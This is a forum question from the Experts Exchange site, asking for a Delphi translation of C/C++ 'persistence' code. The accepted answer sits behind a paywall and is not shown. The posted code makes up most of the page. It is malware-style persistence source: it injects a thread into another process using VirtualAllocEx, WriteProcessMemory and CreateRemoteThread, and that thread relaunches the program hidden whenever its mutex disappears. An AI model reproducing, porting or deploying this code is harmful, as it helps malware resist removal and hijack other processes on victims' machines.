Avatar of Iwanttoownz
Iwanttoownz asked on

C/C++ to Delphi

Hello experts,

I need this code which is persistance to be translated into delphi

Thanks in advance.
typedef bool (WINAPI *pCloseHandle)(HANDLE);
typedef HANDLE (WINAPI *pCreateFileA)(LPCTSTR,
      DWORD,
      DWORD,
      LPSECURITY_ATTRIBUTES,
      DWORD,
      DWORD,
      HANDLE);
typedef HANDLE (WINAPI *pCreateMutexA)(LPSECURITY_ATTRIBUTES, BOOL, LPCTSTR);
typedef DWORD (WINAPI *pGetLastError)(void);
typedef bool (WINAPI *pReleaseMutex)(HANDLE);
typedef void (WINAPI *pSleep)(DWORD);
typedef UINT (WINAPI *pWinExec)(LPCTSTR, UINT);
 
struct SPersistInfo
{
   pCloseHandle m_fCloseHandle;
   pCreateFileA m_fCreateFileA;
   pCreateMutexA m_fCreateMutexA;
   pGetLastError m_fGetLastError;
   pReleaseMutex m_fReleaseMutex;
   pSleep m_fSleep;
   pWinExec m_fWinExec;
   char m_szFilePath[MAX_PATH];
   char m_szMutexName[MEDBUF];
};
 
DWORD WINAPI persist_thread(SPersistInfo *s_pi)
{
   HANDLE hFile, hMutex;
      hFile = s_pi->fCreateFileA(s_pi->szFilePath,
            GENERIC_READ,
            FILE_SHARE_READ,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL);
   while (TRUE)
   {
         hMutex = s_pi->fCreateMutexA(NULL, FALSE, s_pi->szMutexName);
      if (s_pi->fGetLastError() != ERROR_ALREADY_EXISTS)
      {
            s_pi->fCloseHandle(hFile);
            s_pi->fReleaseMutex(hMutex);
            s_pi->fCloseHandle(hMutex);
            s_pi->fWinExec(s_pi->szFilePath, SW_HIDE);
            return 0;
      }
         s_pi->fReleaseMutex(hMutex);
         s_pi->fCloseHandle(hMutex);
         s_pi->fSleep(60000);
   }
      return 0;
}
 
void persist_calc(void) {}
 
bool persist_main(char *pszMutexName)
{
   char szFilePath[MAX_PATH];
   DWORD dwPID, dwWritten, *pdwRemoteCode;
   HANDLE hProcess;
   HMODULE hModule;
   int nSize;
      hModule = GetModuleHandle("kernel32.dll");
   SPersistInfo *s_pir, s_pil =
   {
         (CloseHandle)GetProcAddress(hModule, "CloseHandle"),
         (CreateFileA)GetProcAddress(hModule, "CreateFileA"),
         (CreateMutexA)GetProcAddress(hModule, "CreateMutexA"),
         (GetLastError)GetProcAddress(hModule, "GetLastError"),
         (ReleaseMutex)GetProcAddress(hModule, "ReleaseMutex"),
         (Sleep)GetProcAddress(hModule, "Sleep"),
         (WinExec)GetProcAddress(hModule, "WinExec"),
   };
      GetWindowThreadProcessId(FindWindow("yhlotou", NULL), &dwPID);
      hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
   if (!hProcess)
         return FALSE;
      GetModuleFileName(NULL, szFilePath, sizeof(szFilePath) - 1);
      strncpy(s_pil.szFilePath, szFilePath, sizeof(s_pil.szFilePath) - 1);
      strncpy(s_pil.szMutexName, pszMutexName, sizeof(s_pil.szMutexName) - 1);
      s_pir = (SPersistInfo *)VirtualAllocEx(hProcess,
            NULL,
            sizeof(SPersistInfo),
            MEM_COMMIT,
            PAGE_READWRITE);
      WriteProcessMemory(hProcess, s_pir, &s_pil, sizeof(SPersistInfo), &dwWritten);
      nSize = ((LPBYTE)persist_calc - (LPBYTE)persist_thread);
      pdwRemoteCode = (PDWORD)VirtualAllocEx(hProcess,
            NULL,
            nSize,
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
      WriteProcessMemory(hProcess, pdwRemoteCode, &persist_thread, nSize, &dwWritten);
      g_hPersistThread = CreateRemoteThread(hProcess,
            NULL,
            0,
            (LPTHREAD_START_ROUTINE)pdwRemoteCode,
            s_pir,
            0,
            NULL);
      CloseHandle(hProcess);
   if (!g_hPersistThread)
         return FALSE;
      return TRUE;
}

Open in new window

C++Delphi

Avatar of undefined
Last Comment
Russell Libby

8/22/2022 - Mon
ASKER CERTIFIED SOLUTION
Russell Libby

Log in or sign up to see answer
Become an EE member today7-DAY FREE TRIAL
Members can start a 7-Day Free trial then enjoy unlimited access to the platform
Sign up - Free for 7 days
or
Learn why we charge membership fees
We get it - no one likes a content blocker. Take one extra minute and find out why we block content.
See how we're fighting big data
Not exactly the question you had in mind?
Sign up for an EE membership and get your own personalized solution. With an EE membership, you can ask unlimited troubleshooting, research, or opinion questions.
ask a question
All of life is about relationships, and EE has made a viirtual community a real community. It lifts everyone's boat
William Peck